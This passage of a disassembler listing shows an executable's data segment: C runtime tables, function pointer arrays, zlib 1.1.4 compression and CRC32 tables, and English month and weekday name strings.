dword_4F1A54	dd 0FFFFFFFFh		; DATA XREF: _cvtdate_0:loc_4CB351r
					; _gmtime+80o
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 2 dup(0)
byte_4F1A90	db 1			; DATA XREF: __setmbcp_0+E1r
		db 2, 4, 8
		align 8
dword_4F1A98	dd 3A4h			; DATA XREF: __setmbcp_0+2Fo
dword_4F1A9C	dd 82798260h		; DATA XREF: __setmbcp_0+11Dr
		dd 21h,	0
dword_4F1AA8	dd 0DFA6h		; DATA XREF: __setmbcp_0+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4F1B88	dd 2 dup(0)		; DATA XREF: __setmbcp_0+3Co
dword_4F1B90	dd 1			; DATA XREF: __dosmaperr_0+Co
dword_4F1B94	dd 16h			; DATA XREF: __dosmaperr_0:loc_4CE256r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4F1CF8	dd 2 dup(0)		; DATA XREF: __dosmaperr_0+19o
off_4F1D00	dd offset sub_490FD0	; DATA XREF: sub_497D6E+94r
					; sub_49B14F+99r ...
off_4F1D04	dd offset sub_49129A	; DATA XREF: sub_4A101A+BDr
					; sub_4A2806+96r
off_4F1D08	dd offset sub_4913D4	; DATA XREF: sub_495329+B9r
					; sub_497F97+B8r ...
off_4F1D0C	dd offset sub_49170B	; DATA XREF: sub_49CE90+D2r
					; sub_49D7B9+A2r ...
off_4F1D10	dd offset sub_491849	; DATA XREF: sub_4955CD+B2r
					; sub_495835+D7r ...
off_4F1D14	dd offset sub_491B6F	; DATA XREF: sub_497E12+175r
					; sub_498394+7Fr ...
off_4F1D18	dd offset sub_491DD4	; DATA XREF: sub_496381+195r
					; sub_4985C8+E4r ...
off_4F1D1C	dd offset sub_491FA2	; DATA XREF: sub_4953F2+BBr
					; sub_495743+E2r ...
off_4F1D20	dd offset sub_492229	; DATA XREF: sub_49B95C+10Fr
					; sub_49CF72+8Ar ...
off_4F1D24	dd offset sub_4923BD	; DATA XREF: sub_498DD8+D0r
					; sub_49B5EE+A0r ...
off_4F1D28	dd offset sub_4926F9	; DATA XREF: sub_496126+9Br
					; sub_499ED8+ECr ...
off_4F1D2C	dd offset sub_4929D0	; DATA XREF: sub_49591C+9Cr
					; sub_495DD2+172r ...
off_4F1D30	dd offset sub_492B01	; DATA XREF: sub_497C2D+8Fr
					; sub_4991C7+AFr ...
off_4F1D34	dd offset sub_492DB3	; DATA XREF: sub_4959C8+9Br
					; sub_499942+93r ...
off_4F1D38	dd offset sub_492F0A	; DATA XREF: sub_495547+76r
					; sub_499E2C+9Cr ...
off_4F1D3C	dd offset sub_493047	; DATA XREF: sub_499022+DDr
					; sub_49AC45+9Fr ...
off_4F1D40	dd offset sub_4931BE	; DATA XREF: sub_495F54+C9r
					; sub_49805F+71r ...
off_4F1D44	dd offset sub_4933E6	; DATA XREF: sub_495A73+C6r
					; sub_4962AA+C7r ...
off_4F1D48	dd offset sub_493503	; DATA XREF: sub_4951DA+85r
					; sub_4989E5+9Ar ...
off_4F1D4C	dd offset sub_49363C	; DATA XREF: sub_495BCB+172r
					; sub_49602D+E9r ...
off_4F1D50	dd offset sub_49383E	; DATA XREF: sub_497CCC+92r
					; sub_49823A+76r ...
off_4F1D54	dd offset sub_4939BD	; DATA XREF: sub_49818A+A0r
					; sub_499C30+87r ...
off_4F1D58	dd offset sub_493AE6	; DATA XREF: sub_49526F+AAr
					; sub_4954BD+7Ar ...
off_4F1D5C	dd offset sub_493DB7	; DATA XREF: sub_495B49+72r
					; sub_495D4D+75r ...
off_4F1D60	dd offset sub_494001	; DATA XREF: sub_49568F+A4r
					; sub_499286+6Er ...
off_4F1D64	dd offset sub_494241	; DATA XREF: sub_4961D1+C9r
					; sub_49C74A+8Ar ...
off_4F1D68	dd offset sub_494360	; DATA XREF: sub_49961E+D3r
					; sub_49A102+14Fr ...
off_4F1D6C	dd offset sub_49468A	; DATA XREF: sub_498423+D7r
					; sub_49850A+AEr ...
off_4F1D70	dd offset sub_49486E	; DATA XREF: sub_4986BC+C6r
					; sub_4997AD+185r ...
off_4F1D74	dd offset sub_494B14	; DATA XREF: sub_49512C+9Er
					; sub_4980E0+9Ar ...
off_4F1D78	dd offset sub_491135	; DATA XREF: sub_497D6E+Dr
					; sub_49B14F+Dr ...
off_4F1D7C	dd offset sub_491336	; DATA XREF: sub_4A101A+Dr
					; sub_4A2806+Dr
off_4F1D80	dd offset sub_49156F	; DATA XREF: sub_495329+Dr
					; sub_497F97+Dr ...
off_4F1D84	dd offset sub_4917A9	; DATA XREF: sub_49CE90+Dr
					; sub_49F081+Dr ...
off_4F1D88	dd offset sub_4919DC	; DATA XREF: sub_4955CD+Dr
					; sub_495835+Dr ...
off_4F1D8C	dd offset sub_491CA1	; DATA XREF: sub_497E12+Dr
					; sub_498394+Dr ...
off_4F1D90	dd offset sub_491EBB	; DATA XREF: sub_496381+Dr
					; sub_4985C8+Dr ...
off_4F1D94	dd offset sub_4920E6	; DATA XREF: sub_4953F2+Dr
					; sub_495743+Dr ...
off_4F1D98	dd offset sub_4922F2	; DATA XREF: sub_49B95C+Dr
					; sub_49CF72+Dr ...
off_4F1D9C	dd offset sub_49255B	; DATA XREF: sub_498DD8+Dr
					; sub_49B5EE+Dr ...
off_4F1DA0	dd offset sub_492865	; DATA XREF: sub_496126+Dr
					; sub_499ED8+Dr ...
off_4F1DA4	dd offset sub_492A69	; DATA XREF: sub_49591C+Dr
					; sub_495DD2+Dr ...
off_4F1DA8	dd offset sub_492C5B	; DATA XREF: sub_497C2D+Dr
					; sub_4991C7+Dr ...
off_4F1DAC	dd offset sub_492E5E	; DATA XREF: sub_4959C8+Dr
					; sub_499942+Dr ...
off_4F1DB0	dd offset sub_492FA8	; DATA XREF: sub_495547+Dr
					; sub_499E2C+Dr ...
off_4F1DB4	dd offset sub_493102	; DATA XREF: sub_499022+Dr
					; sub_49AC45+Dr ...
off_4F1DB8	dd offset sub_4932D2	; DATA XREF: sub_495F54+Dr
					; sub_49BB7F+Dr ...
off_4F1DBC	dd offset sub_493474	; DATA XREF: sub_495A73+Dr
					; sub_4962AA+Dr ...
off_4F1DC0	dd offset sub_49359E	; DATA XREF: sub_4951DA+Dr
					; sub_4989E5+Dr ...
off_4F1DC4	dd offset sub_49373C	; DATA XREF: sub_495BCB+Dr
					; sub_49602D+Dr ...
off_4F1DC8	dd offset sub_4938FD	; DATA XREF: sub_497CCC+Dr
					; sub_49823A+Dr ...
off_4F1DCC	dd offset sub_493A51	; DATA XREF: sub_49818A+Dr
					; sub_499C30+Dr ...
off_4F1DD0	dd offset sub_493C4E	; DATA XREF: sub_49526F+Dr
					; sub_4954BD+Dr ...
off_4F1DD4	dd offset sub_493EDB	; DATA XREF: sub_495B49+Dr
					; sub_498A8F+Dr ...
off_4F1DD8	dd offset sub_494121	; DATA XREF: sub_49568F+Dr
					; sub_4999E5+Dr ...
off_4F1DDC	dd offset sub_4942D0	; DATA XREF: sub_4961D1+Dr
					; sub_49C74A+Dr ...
off_4F1DE0	dd offset sub_4944F6	; DATA XREF: sub_49961E+Dr
					; sub_49A102+Dr ...
off_4F1DE4	dd offset sub_49477C	; DATA XREF: sub_498423+Dr
					; sub_49850A+Dr ...
off_4F1DE8	dd offset sub_4949C1	; DATA XREF: sub_4986BC+Dr
					; sub_4997AD+Dr ...
off_4F1DEC	dd offset sub_494C6D	; DATA XREF: sub_49512C+Dr
					; sub_4980E0+Dr ...
byte_4F1DF0	db 1Bh			; DATA XREF: sub_4A363D+B9r
					; sub_4A363D+DFr ...
		align 2
		dw 110Ah
		dd 18130211h, 16111519h, 120E130Fh, 14101303h, 1914150Bh
		dd 310031Ch, 70A0810h, 16081D0Eh, 4171307h, 41D1512h, 6031D13h
		dd 6180611h, 11050405h,	5131B12h, 19161118h, 120A1000h
		dd 5181011h, 60E1010h, 60516h, 0C170A12h, 81A1A1Bh, 1D080B16h
		dd 18161A11h, 0A0E070Ah, 160A130Eh, 41C0014h, 0D110B09h
		dd 180D1D00h, 1C0E0906h, 0C161516h, 6021909h, 1D080709h
		dd 51C0B12h, 0A16111Bh,	190A1206h, 5091A04h, 1B0C1D19h
		dd 0A0F150Dh, 50B0500h,	190B0E1Bh, 206070Dh, 1B070019h
		dd 110E0D0Fh, 0F05170Bh, 1311051Ah, 17131204h, 0D14030Dh
		dd 60E161Ch, 1A041202h,	1B1D1B17h, 140A1909h, 0B0A071Ah
		dd 140E031Ah, 170D150Ah, 0A051412h, 7020102h, 0D1A0B01h
		dd 1A090C05h, 0D031D06h, 80C1C11h, 1702151Bh, 18080E16h
		dd 0
dword_4F1EF0	dd 0FFFFFFFFh, 4B5BC4h,	4B5BE6h, 0 ; DATA XREF:	.text:004B5670o
off_4F1F00	dd offset sub_490FD0	; DATA XREF: .text:004BB299r
		dd offset sub_49129A
		dd offset sub_4913D4
		dd offset sub_49170B
		dd offset sub_491849
		dd offset sub_491B6F
		dd offset sub_491DD4
		dd offset sub_491FA2
		dd offset sub_492229
		dd offset sub_4923BD
		dd offset sub_4926F9
		dd offset sub_4929D0
		dd offset sub_492B01
		dd offset sub_492DB3
		dd offset sub_492F0A
		dd offset sub_493047
		dd offset sub_4931BE
		dd offset sub_4933E6
		dd offset sub_493503
		dd offset sub_49363C
		dd offset sub_49383E
		dd offset sub_4939BD
		dd offset sub_493AE6
		dd offset sub_493DB7
		dd offset sub_494001
		dd offset sub_494241
		dd offset sub_494360
		dd offset sub_49468A
		dd offset sub_49486E
		db 14h,	4Bh, 49h
byte_4F1F77	db 0			; DATA XREF: .text:004BA14Fr
					; .text:004BA663r
byte_4F1F78	db 0Ah			; DATA XREF: .text:004BA15Dr
					; .text:004BA2F5r ...
byte_4F1F79	db 9			; DATA XREF: .text:004BA179r
					; .text:004BA223r ...
byte_4F1F7A	db 0Ch			; DATA XREF: .text:004BA231r
					; .text:004BA339r ...
byte_4F1F7B	db 0Bh			; DATA XREF: .text:004BA24Dr
					; .text:004BA761r
		dd 4211805h, 0E22h, 0
dword_4F1F88	dd 0FFFFFFFFh, 4B7C62h,	4B7C68h, 0 ; DATA XREF:	sub_4B78A3+5o
dword_4F1F98	dd 0FFFFFFFFh, 4BC0F0h,	4BC101h, 0 ; DATA XREF:	.text:004B84DFo
aDeflate1_1_4Co	db ' deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly ',0
		align 10h
word_4F1FE0	dw 0			; DATA XREF: .text:004BEB5Er
					; sub_4BF3A2+63r
word_4F1FE2	dw 0			; DATA XREF: .text:004BEB49r
					; sub_4BF3A2+4Br
word_4F1FE4	dw 0			; DATA XREF: .text:004BEB76r
					; sub_4BF3A2+7Er
word_4F1FE6	dw 0			; DATA XREF: .text:004BEB8Er
					; sub_4BF3A2+99r
off_4F1FE8	dd offset sub_4BF490	; DATA XREF: .text:004BEAF9r
					; .text:004BEB0Br ...
		dd 40004h, 40008h, 4BF9A3h, 50004h, 80010h, 4BF9A3h, 60004h
		dd 200020h, 4BF9A3h, 40004h, 100010h, 4C0229h, 100008h
		dd 200020h, 4C0229h, 100008h, 800080h, 4C0229h,	200008h
		dd 1000080h, 4C0229h, 800020h, 4000102h, 4C0229h, 1020020h
		dd 10000102h, 4C0229h
byte_4F2058	db 0			; DATA XREF: .text:004C138Cr
		align 2
		dw 0FFFFh
dword_4F205C	dd 0			; DATA XREF: .text:004C1493o
					; sub_4C149A+3Ar ...
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_4F245C	dd 0			; DATA XREF: sub_4C4162+2EEr
					; .data:004EDF1Co
		dd 7 dup(0)
		dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
dword_4F24D0	dd 0			; DATA XREF: sub_4C4162+5A4r
					; .data:004EDF34o
		align 10h
		dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh)
dword_4F2548	dd 10h dup(0)		; DATA XREF: .data:004EDF4Co
		dd 2, 3, 7
byte_4F2594	db 10h			; DATA XREF: sub_4C2DE5+76r
					; sub_4C3039+3BAr ...
		db 11h,	12h, 0
		dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh
dword_4F25A8	dd 8000Ch, 8008Ch, 8004Ch, 800CCh, 8002Ch, 800ACh, 8006Ch
					; DATA XREF: sub_4C20F2+213o
					; .data:off_4EDF18o
		dd 800ECh, 8001Ch, 8009Ch, 8005Ch, 800DCh, 8003Ch, 800BCh
		dd 8007Ch, 800FCh, 80002h, 80082h, 80042h, 800C2h, 80022h
		dd 800A2h, 80062h, 800E2h, 80012h, 80092h, 80052h, 800D2h
		dd 80032h, 800B2h, 80072h, 800F2h, 8000Ah, 8008Ah, 8004Ah
		dd 800CAh, 8002Ah, 800AAh, 8006Ah, 800EAh, 8001Ah, 8009Ah
		dd 8005Ah, 800DAh, 8003Ah, 800BAh, 8007Ah, 800FAh, 80006h
		dd 80086h, 80046h, 800C6h, 80026h, 800A6h, 80066h, 800E6h
		dd 80016h, 80096h, 80056h, 800D6h, 80036h, 800B6h, 80076h
		dd 800F6h, 8000Eh, 8008Eh, 8004Eh, 800CEh, 8002Eh, 800AEh
		dd 8006Eh, 800EEh, 8001Eh, 8009Eh, 8005Eh, 800DEh, 8003Eh
		dd 800BEh, 8007Eh, 800FEh, 80001h, 80081h, 80041h, 800C1h
		dd 80021h, 800A1h, 80061h, 800E1h, 80011h, 80091h, 80051h
		dd 800D1h, 80031h, 800B1h, 80071h, 800F1h, 80009h, 80089h
		dd 80049h, 800C9h, 80029h, 800A9h, 80069h, 800E9h, 80019h
		dd 80099h, 80059h, 800D9h, 80039h, 800B9h, 80079h, 800F9h
		dd 80005h, 80085h, 80045h, 800C5h, 80025h, 800A5h, 80065h
		dd 800E5h, 80015h, 80095h, 80055h, 800D5h, 80035h, 800B5h
		dd 80075h, 800F5h, 8000Dh, 8008Dh, 8004Dh, 800CDh, 8002Dh
		dd 800ADh, 8006Dh, 800EDh, 8001Dh, 8009Dh, 8005Dh, 800DDh
		dd 8003Dh, 800BDh, 8007Dh, 800FDh, 90013h, 90113h, 90093h
		dd 90193h, 90053h, 90153h, 900D3h, 901D3h, 90033h, 90133h
		dd 900B3h, 901B3h, 90073h, 90173h, 900F3h, 901F3h, 9000Bh
		dd 9010Bh, 9008Bh, 9018Bh, 9004Bh, 9014Bh, 900CBh, 901CBh
		dd 9002Bh, 9012Bh, 900ABh, 901ABh, 9006Bh, 9016Bh, 900EBh
		dd 901EBh, 9001Bh, 9011Bh, 9009Bh, 9019Bh, 9005Bh, 9015Bh
		dd 900DBh, 901DBh, 9003Bh, 9013Bh, 900BBh, 901BBh, 9007Bh
		dd 9017Bh, 900FBh, 901FBh, 90007h, 90107h, 90087h, 90187h
		dd 90047h, 90147h, 900C7h, 901C7h, 90027h, 90127h, 900A7h
		dd 901A7h, 90067h, 90167h, 900E7h, 901E7h, 90017h, 90117h
		dd 90097h, 90197h, 90057h, 90157h, 900D7h, 901D7h, 90037h
		dd 90137h, 900B7h, 901B7h, 90077h, 90177h, 900F7h, 901F7h
		dd 9000Fh, 9010Fh, 9008Fh, 9018Fh, 9004Fh, 9014Fh, 900CFh
		dd 901CFh, 9002Fh, 9012Fh, 900AFh, 901AFh, 9006Fh, 9016Fh
		dd 900EFh, 901EFh, 9001Fh, 9011Fh, 9009Fh, 9019Fh, 9005Fh
		dd 9015Fh, 900DFh, 901DFh, 9003Fh, 9013Fh, 900BFh, 901BFh
		dd 9007Fh, 9017Fh, 900FFh, 901FFh
word_4F29A8	dw 0			; DATA XREF: sub_4C1C03+14Br
					; sub_4C1C03+217r ...
word_4F29AA	dw 7			; DATA XREF: sub_4C1C03+129r
					; sub_4C1C03+3A4r
a@_0:
		unicode	0, <@>
		dw 7
		unicode	0, < >
		dw 7
		unicode	0, <`>
		dw 7
		dd 70010h, 70050h, 70030h, 70070h, 70008h, 70048h, 70028h
		dd 70068h, 70018h, 70058h, 70038h, 70078h, 70004h, 70044h
		dd 70024h, 70064h, 70014h, 70054h, 70034h, 70074h, 80003h
		dd 80083h, 80043h, 800C3h, 80023h, 800A3h, 80063h, 800E3h
dword_4F2A28	dd 50000h, 50010h, 50008h, 50018h, 50004h, 50014h, 5000Ch
					; DATA XREF: sub_4C20F2:loc_4C2300o
					; .data:off_4EDF30o
		dd 5001Ch, 50002h, 50012h, 5000Ah, 5001Ah, 50006h, 50016h
		dd 5000Eh, 5001Eh, 50001h, 50011h, 50009h, 50019h, 50005h
		dd 50015h, 5000Dh, 5001Dh, 50003h, 50013h, 5000Bh, 5001Bh
		dd 50007h, 50017h
byte_4F2AA0	db 0			; DATA XREF: .text:004BFB80r
					; .text:004C049Dr ...
		db 1, 2, 3
		dd 5050404h, 6060606h, 7070707h, 2 dup(8080808h), 2 dup(9090909h)
		dd 4 dup(0A0A0A0Ah), 4 dup(0B0B0B0Bh), 8 dup(0C0C0C0Ch)
		dd 8 dup(0D0D0D0Dh), 10h dup(0E0E0E0Eh), 10h dup(0F0F0F0Fh)
byte_4F2BA0	db 0			; DATA XREF: .text:004BFB99r
					; .text:004C04B6r ...
		align 2
		dw 1110h
		dd 13131212h, 14141414h, 15151515h, 2 dup(16161616h), 2	dup(17171717h)
		dd 4 dup(18181818h), 4 dup(19191919h), 8 dup(1A1A1A1Ah)
		dd 8 dup(1B1B1B1Bh), 10h dup(1C1C1C1Ch), 10h dup(1D1D1D1Dh)
byte_4F2CA0	db 0			; DATA XREF: .text:004BFB34r
					; .text:004BFB54r ...
		db 1, 2, 3
		dd 7060504h, 9090808h, 0B0B0A0Ah, 0C0C0C0Ch, 0D0D0D0Dh
		dd 0E0E0E0Eh, 0F0F0F0Fh, 2 dup(10101010h), 2 dup(11111111h)
		dd 2 dup(12121212h), 2 dup(13131313h), 4 dup(14141414h)
		dd 4 dup(15151515h), 4 dup(16161616h), 4 dup(17171717h)
		dd 8 dup(18181818h), 8 dup(19191919h), 8 dup(1A1A1A1Ah)
		dd 7 dup(1B1B1B1Bh), 1C1B1B1Bh
dword_4F2DA0	dd 0			; DATA XREF: sub_4C4162+308r
		dd 1, 2, 3, 4, 5, 6, 7,	8, 0Ah,	0Ch, 0Eh, 10h, 14h, 18h
		dd 1Ch,	20h, 28h, 30h, 38h, 40h, 50h, 60h, 70h,	80h, 0A0h
		dd 0C0h, 0E0h, 0
dword_4F2E14	dd 0			; DATA XREF: sub_4C4162+5BEr
		dd 1, 2, 3, 4, 6, 8, 0Ch, 10h, 18h, 20h, 30h, 40h, 60h
		dd 80h,	0C0h, 100h, 180h, 200h,	300h, 400h, 600h, 800h
		dd 0C00h, 1000h, 1800h,	2000h, 3000h, 4000h, 6000h
dword_4F2E8C	dd 10h			; DATA XREF: sub_4C4F0F+9D9r
					; sub_4C4F0F+A1Er
		dd 11h,	12h, 0
		dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
		dd 0Fh
aInflate1_1_4Co	db ' inflate 1.1.4 Copyright 1995-2002 Mark Adler ',0
		align 4
dword_4F2F08	dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
					; DATA XREF: sub_4C7A96+50o
		dd 1Bh,	1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h,	73h, 83h
		dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_4F2F84	dd 8 dup(0)		; DATA XREF: sub_4C7A96+4Bo
		dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
		dd 2 dup(70h)
dword_4F3000	dd 1, 2, 3, 4, 5, 7, 9,	0Dh, 11h, 19h, 21h, 31h, 41h, 61h
					; DATA XREF: sub_4C7A96+D9o
		dd 81h,	0C1h, 101h, 181h, 201h,	301h, 401h, 601h, 801h
		dd 0C01h, 1001h, 1801h,	2001h, 3001h, 4001h, 6001h
dword_4F3078	dd 4 dup(0)		; DATA XREF: sub_4C7A96+D4o
		dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh)
aHMmSs		db 'H:mm:ss',0          ; DATA XREF: .data:004EF340o
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:004EF33Co
aMDYy		db 'M/d/yy',0           ; DATA XREF: .data:004EF338o
		align 4
aPm_0		db 'PM',0               ; DATA XREF: .data:004EF334o
		align 4
aAm_0		db 'AM',0               ; DATA XREF: .data:004EF330o
		align 4
aDecember_0	db 'December',0         ; DATA XREF: .data:004EF32Co
		align 4
aNovember_0	db 'November',0         ; DATA XREF: .data:004EF328o
		align 4
aOctober	db 'October',0          ; DATA XREF: .data:004EF324o
aSeptember	db 'September',0        ; DATA XREF: .data:004EF320o
		align 4
aAugust		db 'August',0           ; DATA XREF: .data:004EF31Co
		align 10h
aJuly		db 'July',0             ; DATA XREF: .data:004EF318o
		align 4
aJune_0		db 'June',0             ; DATA XREF: .data:004EF314o
		align 10h
aApril_0	db 'April',0            ; DATA XREF: .data:004EF30Co
		align 4
aMarch		db 'March',0            ; DATA XREF: .data:004EF308o
		align 10h
aFebruary	db 'February',0         ; DATA XREF: .data:004EF304o
		align 4
aJanuary	db 'January',0          ; DATA XREF: .data:004EF300o
aDec		db 'Dec',0              ; DATA XREF: .data:004EF2FCo
aNov		db 'Nov',0              ; DATA XREF: .data:004EF2F8o
aOct		db 'Oct',0              ; DATA XREF: .data:004EF2F4o
aSep		db 'Sep',0              ; DATA XREF: .data:004EF2F0o
aAug		db 'Aug',0              ; DATA XREF: .data:004EF2ECo
aJul		db 'Jul',0              ; DATA XREF: .data:004EF2E8o
aJun		db 'Jun',0              ; DATA XREF: .data:004EF2E4o
aMay		db 'May',0              ; DATA XREF: .data:004EF2E0o
					; .data:004EF310o
aApr		db 'Apr',0              ; DATA XREF: .data:004EF2DCo
aMar		db 'Mar',0              ; DATA XREF: .data:004EF2D8o
aFeb		db 'Feb',0              ; DATA XREF: .data:004EF2D4o
aJan		db 'Jan',0              ; DATA XREF: .data:004EF2D0o
aSaturday_0	db 'Saturday',0         ; DATA XREF: .data:004EF2CCo
		align 10h
aFriday_0	db 'Friday',0           ; DATA XREF: .data:004EF2C8o
		align 4
aThursday_0	db 'Thursday',0         ; DATA XREF: .data:004EF2C4o
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .data:004EF2C0o
		align 10h
aTuesday_0	db 'Tuesday',0          ; DATA XREF: .data:004EF2BCo
aMonday_0	db 'Monday',0           ; DATA XREF: .data:004EF2B8o
		align 10h
aSunday_0	db 'Sunday',0           ; DATA XREF: .data:004EF2B4o
		align 4
aSat		db 'Sat',0              ; DATA XREF: .data:004EF2B0o
aFri		db 'Fri',0              ; DATA XREF: .data:004EF2ACo
aThu		db 'Thu',0              ; DATA XREF: .data:004EF2A8o
